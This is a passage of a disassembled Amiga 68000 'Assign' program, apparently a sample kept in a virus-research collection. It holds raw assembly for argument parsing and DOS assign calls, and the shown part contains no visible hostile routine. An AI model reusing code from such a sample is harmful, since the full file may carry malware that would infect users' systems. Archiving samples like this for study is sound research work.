home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / str_atmos / Assign.asm < prev    next >
Assembly Source File  |  2011-06-24  |  49KB  |  1,790 lines

  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. EXT_0000    EQU    $0
  5. ABSEXECBASE    EQU    $4
  6. HARDBASE    EQU    $DFF000
  7. VHPOSR        EQU    $DFF006
  8. COLOR00        EQU    $DFF180
  9. EXT_0005    EQU    $F97FBC
  10. EXT_0006    EQU    $FC0000
  11.  
  12.  
  13.  
  14.  
  15.     SECTION S_0,CODE
  16.  
  17. SECSTRT_0:
  18.     LINK    A5,#-1632        ;0000: 4E55F9A0
  19.     MOVEM.L    D2-D7/A2-A3/A6,-(A7)    ;0004: 48E73F32
  20.     MOVEA    #$0004,A0        ;0008: 307C0004
  21.     MOVEA.L    (A0),A1            ;000C: 2250
  22.     SUBA.L    A0,A0            ;000E: 91C8
  23.     MOVE.L    A0,-104(A5)        ;0010: 2B48FF98
  24.     LEA    -1608(A5),A6        ;0014: 4DEDF9B8
  25.     MOVE.L    A6,-100(A5)        ;0018: 2B4EFF9C
  26.     MOVE.L    A0,-96(A5)        ;001C: 2B48FFA0
  27.     MOVE.L    #$000005DC,-92(A5)    ;0020: 2B7C000005DCFFA4
  28.     MOVEQ    #20,D5            ;0028: 7A14
  29.     MOVE.L    A0,-36(A5)        ;002A: 2B48FFDC
  30.     MOVE.L    A1,52(A7)        ;002E: 2F490034
  31.     MOVEA.L    A1,A6            ;0032: 2C49
  32.     BSR    LAB_0051        ;0034: 61000738
  33.     LEA    LAB_0084(PC),A1        ;0038: 43FA0C20
  34.     MOVEQ    #36,D0            ;003C: 7024
  35.     JSR    -552(A6)        ;003E: 4EAEFDD8
  36.     MOVEA.L    D0,A3            ;0042: 2640
  37.     MOVEA.L    A3,A0            ;0044: 204B
  38.     MOVE.L    A0,48(A7)        ;0046: 2F480030
  39.     MOVE.L    A3,D0            ;004A: 200B
  40.     BEQ    LAB_004E        ;004C: 670006FA
  41.     MOVEQ    #47,D0            ;0050: 702F
  42.     MOVEQ    #0,D1            ;0052: 7200
  43.     LEA    -84(A5),A1        ;0054: 43EDFFAC
  44. LAB_0000:
  45.     MOVE.B    D1,(A1)+        ;0058: 12C1
  46.     DBF    D0,LAB_0000        ;005A: 51C8FFFC
  47.     LEA    LAB_0085(PC),A1        ;005E: 43FA0C06
  48.     MOVE.L    A1,D1            ;0062: 2209
  49.     LEA    -84(A5),A0        ;0064: 41EDFFAC
  50.     MOVE.L    A0,D2            ;0068: 2408
  51.     MOVEQ    #0,D3            ;006A: 7600
  52.     MOVEA.L    A3,A6            ;006C: 2C4B
  53.     JSR    -798(A6)        ;006E: 4EAEFCE2
  54.     MOVE.L    D0,44(A7)        ;0072: 2F40002C
  55.     TST.L    D0            ;0076: 4A80
  56.     BNE    LAB_0001        ;0078: 66000012
  57.     JSR    -132(A6)        ;007C: 4EAEFF7C
  58.     MOVE.L    D0,D1            ;0080: 2200
  59.     MOVE.L    D3,D2            ;0082: 2403
  60.     JSR    -474(A6)        ;0084: 4EAEFE26
  61.     BRA    LAB_004A        ;0088: 60000662
  62. LAB_0001:
  63.     MOVEQ    #0,D7            ;008C: 7E00
  64.     CLR.L    -28(A5)            ;008E: 42ADFFE4
  65.     MOVEA.L    -84(A5),A2        ;0092: 246DFFAC
  66.     MOVEA.L    A2,A1            ;0096: 224A
  67.     MOVE.L    A1,40(A7)        ;0098: 2F490028
  68.     MOVE.L    A2,D1            ;009C: 220A
  69.     BEQ.S    LAB_0007        ;009E: 6742
  70.     MOVEA.L    A2,A3            ;00A0: 264A
  71.     BRA.S    LAB_0003        ;00A2: 6002
  72. LAB_0002:
  73.     ADDQ.L    #1,A3            ;00A4: 528B
  74. LAB_0003:
  75.     MOVEQ    #58,D0            ;00A6: 703A
  76.     CMP.B    (A3),D0            ;00A8: B013
  77.     BEQ.S    LAB_0004        ;00AA: 6706
  78.     TST.B    1(A3)            ;00AC: 4A2B0001
  79.     BNE.S    LAB_0002        ;00B0: 66F2
  80. LAB_0004:
  81.     MOVEQ    #58,D0            ;00B2: 703A
  82.     CMP.B    (A3),D0            ;00B4: B013
  83.     BNE.S    LAB_0005        ;00B6: 6616
  84.     TST.B    1(A3)            ;00B8: 4A2B0001
  85.     BNE.S    LAB_0005        ;00BC: 6610
  86.     CMPA.L    A2,A3            ;00BE: B7CA
  87.     BEQ.S    LAB_0005        ;00C0: 670C
  88.     MOVE.L    A2,D0            ;00C2: 200A
  89.     MOVE.L    A3,D1            ;00C4: 220B
  90.     SUB.L    D0,D1            ;00C6: 9280
  91.     MOVEQ    #30,D0            ;00C8: 701E
  92.     CMP.L    D0,D1            ;00CA: B280
  93.     BLS.S    LAB_0006        ;00CC: 6312
  94. LAB_0005:
  95.     LEA    LAB_0088(PC),A0        ;00CE: 41FA0C14
  96.     MOVEQ    #20,D5            ;00D2: 7A14
  97.     MOVEA.L    48(A7),A3        ;00D4: 266F0030
  98.     MOVE.L    A0,-36(A5)        ;00D8: 2B48FFDC
  99.     BRA    LAB_004A        ;00DC: 6000060E
  100. LAB_0006:
  101.     CLR.B    (A3)            ;00E0: 4213
  102. LAB_0007:
  103.     MOVEA.L    -80(A5),A0        ;00E2: 206DFFB0
  104.     MOVE.L    A0,-88(A5)        ;00E6: 2B48FFA8
  105.     BEQ.S    LAB_0008        ;00EA: 6704
  106.     MOVEA.L    (A0),A0            ;00EC: 2050
  107.     BRA.S    LAB_0009        ;00EE: 6002
  108. LAB_0008:
  109.     SUBA.L    A0,A0            ;00F0: 91C8
  110. LAB_0009:
  111.     MOVEA.L    A0,A2            ;00F2: 2448
  112.     MOVE.L    -72(A5),D0        ;00F4: 202DFFB8
  113.     BEQ.S    LAB_000A        ;00F8: 6708
  114.     MOVEQ    #0,D1            ;00FA: 7200
  115.     MOVE.L    D1,-76(A5)        ;00FC: 2B41FFB4
  116.     BRA.S    LAB_000E        ;0100: 6038
  117. LAB_000A:
  118.     TST.L    -48(A5)            ;0102: 4AADFFD0
  119.     BNE.S    LAB_000B        ;0106: 660C
  120.     TST.L    -44(A5)            ;0108: 4AADFFD4
  121.     BNE.S    LAB_000B        ;010C: 6606
  122.     TST.L    -40(A5)            ;010E: 4AADFFD8
  123.     BEQ.S    LAB_000C        ;0112: 6708
  124. LAB_000B:
  125.     MOVEQ    #-1,D1            ;0114: 72FF
  126.     MOVE.L    D1,-76(A5)        ;0116: 2B41FFB4
  127.     BRA.S    LAB_000E        ;011A: 601E
  128. LAB_000C:
  129.     TST.L    -76(A5)            ;011C: 4AADFFB4
  130.     BNE.S    LAB_000D        ;0120: 6606
  131.     MOVE.L    40(A7),D1        ;0122: 222F0028
  132.     BNE.S    LAB_000E        ;0126: 6612
  133. LAB_000D:
  134.     MOVEQ    #-1,D1            ;0128: 72FF
  135.     MOVE.L    D1,-40(A5)        ;012A: 2B41FFD8
  136.     MOVE.L    D1,-44(A5)        ;012E: 2B41FFD4
  137.     MOVE.L    D1,-48(A5)        ;0132: 2B41FFD0
  138.     MOVE.L    D1,-76(A5)        ;0136: 2B41FFB4
  139. LAB_000E:
  140.     MOVE.L    A2,D1            ;013A: 220A
  141.     BNE.S    LAB_0010        ;013C: 662A
  142.     TST.L    -64(A5)            ;013E: 4AADFFC0
  143.     BNE.S    LAB_000F        ;0142: 6612
  144.     TST.L    -60(A5)            ;0144: 4AADFFC4
  145.     BNE.S    LAB_000F        ;0148: 660C
  146.     TST.L    -56(A5)            ;014A: 4AADFFC8
  147.     BNE.S    LAB_000F        ;014E: 6606
  148.     TST.L    -52(A5)            ;0150: 4AADFFCC
  149.     BEQ.S    LAB_0010        ;0154: 6712
  150. LAB_000F:
  151.     MOVEQ    #0,D1            ;0156: 7200
  152.     MOVE.L    D1,-52(A5)        ;0158: 2B41FFCC
  153.     MOVE.L    D1,-56(A5)        ;015C: 2B41FFC8
  154.     MOVE.L    D1,-60(A5)        ;0160: 2B41FFC4
  155.     MOVE.L    D1,-64(A5)        ;0164: 2B41FFC0
  156. LAB_0010:
  157.     TST.L    -52(A5)            ;0168: 4AADFFCC
  158.     SNE    D1            ;016C: 56C1
  159.     NEG.B    D1            ;016E: 4401
  160.     EXT    D1            ;0170: 4881
  161.     EXT.L    D1            ;0172: 48C1
  162.     TST.L    -60(A5)            ;0174: 4AADFFC4
  163.     SNE    D2            ;0178: 56C2
  164.     NEG.B    D2            ;017A: 4402
  165.     EXT    D2            ;017C: 4882
  166.     EXT.L    D2            ;017E: 48C2
  167.     TST.L    -64(A5)            ;0180: 4AADFFC0
  168.     SNE    D3            ;0184: 56C3
  169.     NEG.B    D3            ;0186: 4403
  170.     EXT    D3            ;0188: 4883
  171.     EXT.L    D3            ;018A: 48C3
  172.     TST.L    -56(A5)            ;018C: 4AADFFC8
  173.     SNE    D0            ;0190: 56C0
  174.     NEG.B    D0            ;0192: 4400
  175.     EXT    D0            ;0194: 4880
  176.     EXT.L    D0            ;0196: 48C0
  177.     ADD.L    D3,D0            ;0198: D083
  178.     ADD.L    D2,D0            ;019A: D082
  179.     ADD.L    D1,D0            ;019C: D081
  180.     MOVEQ    #1,D1            ;019E: 7201
  181.     CMP.L    D1,D0            ;01A0: B081
  182.     BLE.S    LAB_0011        ;01A2: 6F12
  183.     LEA    LAB_008A(PC),A0        ;01A4: 41FA0B56
  184.     MOVEQ    #20,D5            ;01A8: 7A14
  185.     MOVEA.L    48(A7),A3        ;01AA: 266F0030
  186.     MOVE.L    A0,-36(A5)        ;01AE: 2B48FFDC
  187.     BRA    LAB_004A        ;01B2: 60000538
  188. LAB_0011:
  189.     TST.L    40(A7)            ;01B6: 4AAF0028
  190.     BEQ    LAB_0027        ;01BA: 6700024E
  191.     TST.L    -72(A5)            ;01BE: 4AADFFB8
  192.     BNE    LAB_0027        ;01C2: 66000246
  193.     TST.L    -68(A5)            ;01C6: 4AADFFBC
  194.     BNE    LAB_0027        ;01CA: 6600023E
  195. LAB_0012:
  196.     MOVEA.L    48(A7),A3        ;01CE: 266F0030
  197.     MOVE.L    #$00001000,D1        ;01D2: 223C00001000
  198.     MOVEA.L    A3,A6            ;01D8: 2C4B
  199.     JSR    -792(A6)        ;01DA: 4EAEFCE8
  200.     TST.L    D0            ;01DE: 4A80
  201.     BEQ.S    LAB_0013        ;01E0: 6718
  202.     MOVE.L    #$00000130,D1        ;01E2: 223C00000130
  203.     MOVEQ    #0,D2            ;01E8: 7400
  204.     JSR    -474(A6)        ;01EA: 4EAEFE26
  205.     MOVEQ    #20,D5            ;01EE: 7A14
  206.     MOVE.L    #$00000130,D7        ;01F0: 2E3C00000130
  207.     BRA    LAB_004A        ;01F6: 600004F4
  208. LAB_0013:
  209.     MOVEA.L    48(A7),A3        ;01FA: 266F0030
  210.     MOVE.L    -28(A5),D5        ;01FE: 2A2DFFE4
  211.     TST.L    -64(A5)            ;0202: 4AADFFC0
  212.     BEQ.S    LAB_0017        ;0206: 675A
  213.     PEA    -1608(A5)        ;0208: 486DF9B8
  214.     MOVE.L    A2,-(A7)        ;020C: 2F0A
  215.     MOVE.L    #$000005DC,D0        ;020E: 203C000005DC
  216.     MOVEA.L    A3,A0            ;0214: 204B
  217.     MOVEA.L    48(A7),A1        ;0216: 226F0030
  218.     BSR    LAB_00CD        ;021A: 61000DD0
  219.     ADDQ    #8,A7            ;021E: 504F
  220.     MOVE.L    D0,-36(A5)        ;0220: 2B40FFDC
  221.     BEQ.S    LAB_0016        ;0224: 6718
  222.     MOVEQ    #20,D5            ;0226: 7A14
  223.     MOVEQ    #-1,D0            ;0228: 70FF
  224.     CMP.L    D0,D7            ;022A: BE80
  225.     BNE.S    LAB_0014        ;022C: 6608
  226.     MOVEA.L    A3,A6            ;022E: 2C4B
  227.     JSR    -132(A6)        ;0230: 4EAEFF7C
  228.     BRA.S    LAB_0015        ;0234: 6002
  229. LAB_0014:
  230.     MOVEQ    #0,D0            ;0236: 7000
  231. LAB_0015:
  232.     MOVE.L    D0,D7            ;0238: 2E00
  233.     BRA    LAB_0026        ;023A: 600001AE
  234. LAB_0016:
  235.     MOVE.L    40(A7),D1        ;023E: 222F0028
  236.     MOVE.L    A2,D2            ;0242: 240A
  237.     MOVEA.L    A3,A6            ;0244: 2C4B
  238.     JSR    -618(A6)        ;0246: 4EAEFD96
  239.     TST    D0            ;024A: 4A40
  240.     BNE    LAB_0026        ;024C: 6600019C
  241.     LEA    LAB_008D(PC),A1        ;0250: 43FA0AD8
  242.     MOVE.L    A1,-36(A5)        ;0254: 2B49FFDC
  243.     JSR    -132(A6)        ;0258: 4EAEFF7C
  244.     MOVE.L    D0,D7            ;025C: 2E00
  245.     BRA    LAB_0026        ;025E: 6000018A
  246. LAB_0017:
  247.     MOVEQ    #0,D6            ;0262: 7C00
  248.     MOVE.L    A2,D0            ;0264: 200A
  249.     BEQ.S    LAB_0018        ;0266: 672C
  250.     TST.L    -60(A5)            ;0268: 4AADFFC4
  251.     BNE.S    LAB_0018        ;026C: 6626
  252.     MOVE.L    A2,D1            ;026E: 220A
  253.     MOVEQ    #-2,D2            ;0270: 74FE
  254.     MOVEA.L    A3,A6            ;0272: 2C4B
  255.     JSR    -84(A6)            ;0274: 4EAEFFAC
  256.     MOVE.L    D0,D6            ;0278: 2C00
  257.     TST.L    D6            ;027A: 4A86
  258.     BNE.S    LAB_0018        ;027C: 6616
  259.     LEA    LAB_008E(PC),A0        ;027E: 41FA0ABC
  260.     MOVE.L    A0,-36(A5)        ;0282: 2B48FFDC
  261.     JSR    -132(A6)        ;0286: 4EAEFF7C
  262.     MOVE.L    D0,D7            ;028A: 2E00
  263.     MOVE.L    A2,-84(A5)        ;028C: 2B4AFFAC
  264.     BRA    LAB_004A        ;0290: 6000045A
  265. LAB_0018:
  266.     MOVEA.L    48(A7),A3        ;0294: 266F0030
  267.     MOVE.L    -28(A5),D5        ;0298: 2A2DFFE4
  268.     TST.L    -56(A5)            ;029C: 4AADFFC8
  269.     BNE.S    LAB_0019        ;02A0: 6608
  270.     TST.L    -52(A5)            ;02A2: 4AADFFCC
  271.     BEQ    LAB_0020        ;02A6: 670000BC
  272. LAB_0019:
  273.     MOVEQ    #18,D1            ;02AA: 7212
  274.     MOVEA.L    A3,A6            ;02AC: 2C4B
  275.     JSR    -654(A6)        ;02AE: 4EAEFD72
  276.     MOVE.L    D0,D1            ;02B2: 2200
  277.     MOVE.L    40(A7),D2        ;02B4: 242F0028
  278.     MOVEQ    #16,D3            ;02B8: 7610
  279.     JSR    -684(A6)        ;02BA: 4EAEFD54
  280.     MOVE.L    D0,36(A7)        ;02BE: 2F400024
  281.     TST.L    D0            ;02C2: 4A80
  282.     BEQ.S    LAB_001E        ;02C4: 6754
  283.     MOVEQ    #1,D1            ;02C6: 7201
  284.     MOVEA.L    D0,A0            ;02C8: 2040
  285.     CMP.L    4(A0),D1        ;02CA: B2A80004
  286.     BNE.S    LAB_001B        ;02CE: 6626
  287.     TST.L    -56(A5)            ;02D0: 4AADFFC8
  288.     BEQ.S    LAB_001A        ;02D4: 670C
  289.     MOVE.L    D2,D1            ;02D6: 2202
  290.     MOVE.L    D6,D2            ;02D8: 2406
  291.     JSR    -630(A6)        ;02DA: 4EAEFD8A
  292.     TST    D0            ;02DE: 4A40
  293.     BEQ.S    LAB_001B        ;02E0: 6714
  294. LAB_001A:
  295.     TST.L    -52(A5)            ;02E2: 4AADFFCC
  296.     BEQ.S    LAB_001E        ;02E6: 6732
  297.     MOVE.L    40(A7),D1        ;02E8: 222F0028
  298.     MOVE.L    D6,D2            ;02EC: 2406
  299.     JSR    -636(A6)        ;02EE: 4EAEFD84
  300.     TST.L    D0            ;02F2: 4A80
  301.     BNE.S    LAB_001E        ;02F4: 6624
  302. LAB_001B:
  303.     TST.L    -52(A5)            ;02F6: 4AADFFCC
  304.     BEQ.S    LAB_001C        ;02FA: 6706
  305.     LEA    LAB_008F(PC),A0        ;02FC: 41FA0A4E
  306.     BRA.S    LAB_001D        ;0300: 6004
  307. LAB_001C:
  308.     LEA    LAB_0090(PC),A0        ;0302: 41FA0A64
  309. LAB_001D:
  310.     MOVE.L    A2,-84(A5)        ;0306: 2B4AFFAC
  311.     MOVE.L    40(A7),-80(A5)        ;030A: 2B6F0028FFB0
  312.     MOVE.L    A0,-36(A5)        ;0310: 2B48FFDC
  313.     JSR    -132(A6)        ;0314: 4EAEFF7C
  314.     MOVE.L    D0,D7            ;0318: 2E00
  315. LAB_001E:
  316.     MOVEQ    #18,D1            ;031A: 7212
  317.     JSR    -660(A6)        ;031C: 4EAEFD6C
  318.     TST.L    -52(A5)            ;0320: 4AADFFCC
  319.     BEQ.S    LAB_001F        ;0324: 6706
  320.     MOVE.L    D6,D1            ;0326: 2206
  321.     JSR    -90(A6)            ;0328: 4EAEFFA6
  322. LAB_001F:
  323.     TST.L    36(A7)            ;032C: 4AAF0024
  324.     BNE    LAB_0026        ;0330: 660000B8
  325.     TST.L    -52(A5)            ;0334: 4AADFFCC
  326.     BNE    LAB_0026        ;0338: 660000B0
  327.     MOVE.L    40(A7),D1        ;033C: 222F0028
  328.     MOVE.L    D6,D2            ;0340: 2406
  329.     JSR    -612(A6)        ;0342: 4EAEFD9C
  330.     TST.L    D0            ;0346: 4A80
  331.     BNE    LAB_0026        ;0348: 660000A0
  332.     LEA    LAB_008D(PC),A0        ;034C: 41FA09DC
  333.     MOVE.L    A0,-36(A5)        ;0350: 2B48FFDC
  334.     JSR    -132(A6)        ;0354: 4EAEFF7C
  335.     MOVE.L    D0,D7            ;0358: 2E00
  336.     MOVE.L    D2,D1            ;035A: 2202
  337.     JSR    -90(A6)            ;035C: 4EAEFFA6
  338.     BRA    LAB_0026        ;0360: 60000088
  339. LAB_0020:
  340.     TST.L    -60(A5)            ;0364: 4AADFFC4
  341.     BEQ.S    LAB_0024        ;0368: 675C
  342.     MOVE.L    D6,D1            ;036A: 2206
  343.     MOVEA.L    A3,A6            ;036C: 2C4B
  344.     JSR    -90(A6)            ;036E: 4EAEFFA6
  345.     PEA    -1608(A5)        ;0372: 486DF9B8
  346.     MOVE.L    A2,-(A7)        ;0376: 2F0A
  347.     MOVE.L    #$000005DC,D0        ;0378: 203C000005DC
  348.     MOVEA.L    A3,A0            ;037E: 204B
  349.     MOVEA.L    48(A7),A1        ;0380: 226F0030
  350.     BSR    LAB_00CD        ;0384: 61000C66
  351.     ADDQ    #8,A7            ;0388: 504F
  352.     MOVE.L    D0,-36(A5)        ;038A: 2B40FFDC
  353.     BEQ.S    LAB_0023        ;038E: 6716
  354.     MOVEQ    #20,D5            ;0390: 7A14
  355.     MOVEQ    #-1,D0            ;0392: 70FF
  356.     CMP.L    D0,D7            ;0394: BE80
  357.     BNE.S    LAB_0021        ;0396: 6608
  358.     MOVEA.L    A3,A6            ;0398: 2C4B
  359.     JSR    -132(A6)        ;039A: 4EAEFF7C
  360.     BRA.S    LAB_0022        ;039E: 6002
  361. LAB_0021:
  362.     MOVEQ    #0,D0            ;03A0: 7000
  363. LAB_0022:
  364.     MOVE.L    D0,D7            ;03A2: 2E00
  365.     BRA.S    LAB_0026        ;03A4: 6044
  366. LAB_0023:
  367.     MOVE.L    40(A7),D1        ;03A6: 222F0028
  368.     MOVE.L    A2,D2            ;03AA: 240A
  369.     MOVEA.L    A3,A6            ;03AC: 2C4B
  370.     JSR    -624(A6)        ;03AE: 4EAEFD90
  371.     TST    D0            ;03B2: 4A40
  372.     BNE.S    LAB_0026        ;03B4: 6634
  373.     LEA    LAB_008D(PC),A0        ;03B6: 41FA0972
  374.     MOVE.L    A0,-36(A5)        ;03BA: 2B48FFDC
  375.     JSR    -132(A6)        ;03BE: 4EAEFF7C
  376.     MOVE.L    D0,D7            ;03C2: 2E00
  377.     BRA.S    LAB_0026        ;03C4: 6024
  378. LAB_0024:
  379.     MOVE.L    40(A7),D1        ;03C6: 222F0028
  380.     MOVE.L    D6,D2            ;03CA: 2406
  381.     MOVEA.L    A3,A6            ;03CC: 2C4B
  382.     JSR    -612(A6)        ;03CE: 4EAEFD9C
  383.     ADDQ.L    #1,D0            ;03D2: 5280
  384.     BEQ.S    LAB_0025        ;03D4: 670E
  385.     LEA    LAB_0091(PC),A0        ;03D6: 41FA09A4
  386.     MOVE.L    A0,-36(A5)        ;03DA: 2B48FFDC
  387.     JSR    -132(A6)        ;03DE: 4EAEFF7C
  388.     MOVE.L    D0,D7            ;03E2: 2E00
  389. LAB_0025:
  390.     MOVEQ    #-1,D0            ;03E4: 70FF
  391.     MOVE.L    D0,-56(A5)        ;03E6: 2B40FFC8
  392. LAB_0026:
  393.     MOVE.L    D5,-28(A5)        ;03EA: 2B45FFE4
  394.     TST.L    -36(A5)            ;03EE: 4AADFFDC
  395.     BNE    LAB_004A        ;03F2: 660002F8
  396.     MOVE.L    A2,D0            ;03F6: 200A
  397.     BEQ.S    LAB_0027        ;03F8: 6710
  398.     ADDQ.L    #4,-88(A5)        ;03FA: 58ADFFA8
  399.     MOVEA.L    -88(A5),A0        ;03FE: 206DFFA8
  400.     MOVEA.L    (A0),A2            ;0402: 2450
  401.     MOVE.L    A2,D0            ;0404: 200A
  402.     BNE    LAB_0012        ;0406: 6600FDC6
  403. LAB_0027:
  404.     MOVEA.L    48(A7),A3        ;040A: 266F0030
  405.     TST.L    -68(A5)            ;040E: 4AADFFBC
  406.     BEQ.S    LAB_0029        ;0412: 672C
  407.     MOVEA.L    40(A7),A2        ;0414: 246F0028
  408.     MOVE.L    A2,D0            ;0418: 200A
  409.     BEQ.S    LAB_0029        ;041A: 6724
  410.     MOVEQ    #30,D1            ;041C: 721E
  411.     MOVEA.L    A3,A6            ;041E: 2C4B
  412.     JSR    -654(A6)        ;0420: 4EAEFD72
  413.     MOVE.L    D0,D1            ;0424: 2200
  414.     MOVE.L    A2,D2            ;0426: 240A
  415.     MOVEQ    #28,D3            ;0428: 761C
  416.     JSR    -684(A6)        ;042A: 4EAEFD54
  417.     MOVEA.L    D0,A2            ;042E: 2440
  418.     MOVE.L    A2,D0            ;0430: 200A
  419.     BEQ.S    LAB_0028        ;0432: 6706
  420.     MOVE.L    A2,D1            ;0434: 220A
  421.     JSR    -672(A6)        ;0436: 4EAEFD60
  422. LAB_0028:
  423.     MOVEQ    #30,D1            ;043A: 721E
  424.     JSR    -660(A6)        ;043C: 4EAEFD6C
  425. LAB_0029:
  426.     TST.L    -76(A5)            ;0440: 4AADFFB4
  427.     BNE.S    LAB_002A        ;0444: 660C
  428.     MOVE.L    -28(A5),D5        ;0446: 2A2DFFE4
  429.     TST.L    -72(A5)            ;044A: 4AADFFB8
  430.     BEQ    LAB_004A        ;044E: 6700029C
  431. LAB_002A:
  432.     MOVEQ    #0,D5            ;0452: 7A00
  433.     MOVEQ    #0,D4            ;0454: 7800
  434.     CLR.L    -32(A5)            ;0456: 42ADFFE0
  435.     LEA    -48(A5),A2        ;045A: 45EDFFD0
  436.     BRA    LAB_0048        ;045E: 60000252
  437. LAB_002B:
  438.     TST.L    D5            ;0462: 4A85
  439.     BNE.S    LAB_002C        ;0464: 6608
  440.     LEA    LAB_0093(PC),A3        ;0466: 47FA0926
  441.     MOVEQ    #8,D6            ;046A: 7C08
  442.     BRA.S    LAB_002E        ;046C: 6014
  443. LAB_002C:
  444.     MOVEQ    #1,D0            ;046E: 7001
  445.     CMP.L    D0,D5            ;0470: BA80
  446.     BNE.S    LAB_002D        ;0472: 6608
  447.     LEA    LAB_0096(PC),A3        ;0474: 47FA0922
  448.     MOVEQ    #16,D6            ;0478: 7C10
  449.     BRA.S    LAB_002E        ;047A: 6006
  450. LAB_002D:
  451.     LEA    LAB_0098(PC),A3        ;047C: 47FA092A
  452.     MOVEQ    #4,D6            ;0480: 7C04
  453. LAB_002E:
  454.     TST.L    -76(A5)            ;0482: 4AADFFB4
  455.     BEQ.S    LAB_002F        ;0486: 6710
  456.     TST.L    (A2)            ;0488: 4A92
  457.     BEQ    LAB_0047        ;048A: 6700021E
  458.     MOVE.L    A3,D1            ;048E: 220B
  459.     MOVEA.L    48(A7),A6        ;0490: 2C6F0030
  460.     JSR    -948(A6)        ;0494: 4EAEFC4C
  461. LAB_002F:
  462.     LEA    -104(A5),A0        ;0498: 41EDFF98
  463.     MOVE.L    A0,-108(A5)        ;049C: 2B48FF94
  464.     MOVE.L    D6,D0            ;04A0: 2006
  465.     ORI    #$0001,D0        ;04A2: 00400001
  466.     MOVEA.L    48(A7),A3        ;04A6: 266F0030
  467.     MOVE.L    D0,36(A7)        ;04AA: 2F400024
  468.     MOVE.L    D0,D1            ;04AE: 2200
  469.     MOVEA.L    A3,A6            ;04B0: 2C4B
  470.     JSR    -654(A6)        ;04B2: 4EAEFD72
  471.     MOVEA.L    D0,A2            ;04B6: 2440
  472.     MOVE.L    A2,D0            ;04B8: 200A
  473.     BNE    LAB_0045        ;04BA: 660001B0
  474.     LEA    LAB_008D(PC),A1        ;04BE: 43FA086A
  475.     MOVE.L    A1,-36(A5)        ;04C2: 2B49FFDC
  476.     JSR    -132(A6)        ;04C6: 4EAEFF7C
  477.     MOVE.L    D0,D7            ;04CA: 2E00
  478.     MOVE.L    -28(A5),D5        ;04CC: 2A2DFFE4
  479.     BRA    LAB_004A        ;04D0: 6000021A
  480. LAB_0030:
  481.     TST.L    -72(A5)            ;04D4: 4AADFFB8
  482.     BEQ.S    LAB_0031        ;04D8: 671C
  483.     MOVE.L    A2,D1            ;04DA: 220A
  484.     MOVE.L    40(A7),D2        ;04DC: 242F0028
  485.     MOVE.L    D6,D3            ;04E0: 2606
  486.     MOVEA.L    A3,A6            ;04E2: 2C4B
  487.     JSR    -684(A6)        ;04E4: 4EAEFD54
  488.     MOVEA.L    D0,A2            ;04E8: 2440
  489.     MOVE.L    A2,D0            ;04EA: 200A
  490.     BEQ    LAB_0046        ;04EC: 67000194
  491.     MOVEQ    #1,D0            ;04F0: 7001
  492.     MOVE.L    D0,-32(A5)        ;04F2: 2B40FFE0
  493. LAB_0031:
  494.     MOVE.L    40(A2),D0        ;04F6: 202A0028
  495.     ASL.L    #2,D0            ;04FA: E580
  496.     MOVEA.L    D0,A0            ;04FC: 2040
  497.     MOVE.B    (A0),D7            ;04FE: 1E10
  498.     EXT    D7            ;0500: 4887
  499.     EXT.L    D7            ;0502: 48C7
  500.     LEA    1(A0),A1        ;0504: 43E80001
  501.     MOVEA.L    A1,A0            ;0508: 2049
  502.     MOVE.L    D7,D0            ;050A: 2007
  503.     LEA    -108(A5),A1        ;050C: 43EDFF94
  504.     BSR    LAB_00BA        ;0510: 610009C6
  505.     MOVE.L    D5,D0            ;0514: 2005
  506.     TST.L    D0            ;0516: 4A80
  507.     BEQ.S    LAB_0032        ;0518: 670E
  508.     SUBQ.L    #1,D0            ;051A: 5380
  509.     BEQ.S    LAB_0038        ;051C: 6744
  510.     SUBQ.L    #1,D0            ;051E: 5380
  511.     BEQ    LAB_0042        ;0520: 6700011C
  512.     BRA    LAB_0045        ;0524: 60000146
  513. LAB_0032:
  514.     MOVE.L    8(A2),D0        ;0528: 202A0008
  515.     BEQ.S    LAB_0033        ;052C: 6706
  516.     LEA    LAB_009A(PC),A0        ;052E: 41FA0884
  517.     BRA.S    LAB_0034        ;0532: 6004
  518. LAB_0033:
  519.     LEA    LAB_009B(PC),A0        ;0534: 41FA088A
  520. LAB_0034:
  521.     MOVEA.L    A0,A3            ;0538: 2648
  522.     TST.L    D0            ;053A: 4A80
  523.     BEQ.S    LAB_0035        ;053C: 6706
  524.     LEA    LAB_009A(PC),A0        ;053E: 41FA0874
  525.     BRA.S    LAB_0036        ;0542: 6004
  526. LAB_0035:
  527.     LEA    LAB_009B(PC),A0        ;0544: 41FA087A
  528. LAB_0036:
  529.     MOVEA.L    A0,A1            ;0548: 2248
  530. LAB_0037:
  531.     TST.B    (A1)+            ;054A: 4A19
  532.     BNE.S    LAB_0037        ;054C: 66FC
  533.     SUBQ.L    #1,A1            ;054E: 5389
  534.     SUBA.L    A0,A1            ;0550: 93C8
  535.     MOVE.L    A1,D0            ;0552: 2009
  536.     MOVEA.L    A3,A0            ;0554: 204B
  537.     LEA    -108(A5),A1        ;0556: 43EDFF94
  538.     BSR    LAB_00BA        ;055A: 6100097C
  539.     BRA    LAB_0045        ;055E: 6000010C
  540. LAB_0038:
  541.     MOVEA.L    16(A2),A3        ;0562: 266A0010
  542.     MOVEQ    #15,D0            ;0566: 700F
  543.     CMP.L    D0,D7            ;0568: BE80
  544.     BGE.S    LAB_0039        ;056A: 6C04
  545.     SUB.L    D7,D0            ;056C: 9087
  546.     BRA.S    LAB_003A        ;056E: 6002
  547. LAB_0039:
  548.     MOVEQ    #1,D0            ;0570: 7001
  549. LAB_003A:
  550.     LEA    LAB_009C(PC),A0        ;0572: 41FA084E
  551.     LEA    -108(A5),A1        ;0576: 43EDFF94
  552.     BSR    LAB_00BA        ;057A: 6100095C
  553.     MOVE.L    4(A2),D0        ;057E: 202A0004
  554.     SUBQ.L    #1,D0            ;0582: 5380
  555.     BEQ.S    LAB_003B        ;0584: 670C
  556.     SUBQ.L    #2,D0            ;0586: 5580
  557.     BEQ.S    LAB_003E        ;0588: 674C
  558.     SUBQ.L    #1,D0            ;058A: 5380
  559.     BEQ.S    LAB_0040        ;058C: 677C
  560.     BRA    LAB_0045        ;058E: 600000DC
  561. LAB_003B:
  562.     MOVE.L    12(A2),D0        ;0592: 202A000C
  563.     MOVEA.L    48(A7),A0        ;0596: 206F0030
  564.     LEA    -108(A5),A1        ;059A: 43EDFF94
  565.     BSR    LAB_00AB        ;059E: 6100088E
  566.     MOVEA.L    20(A2),A3        ;05A2: 266A0014
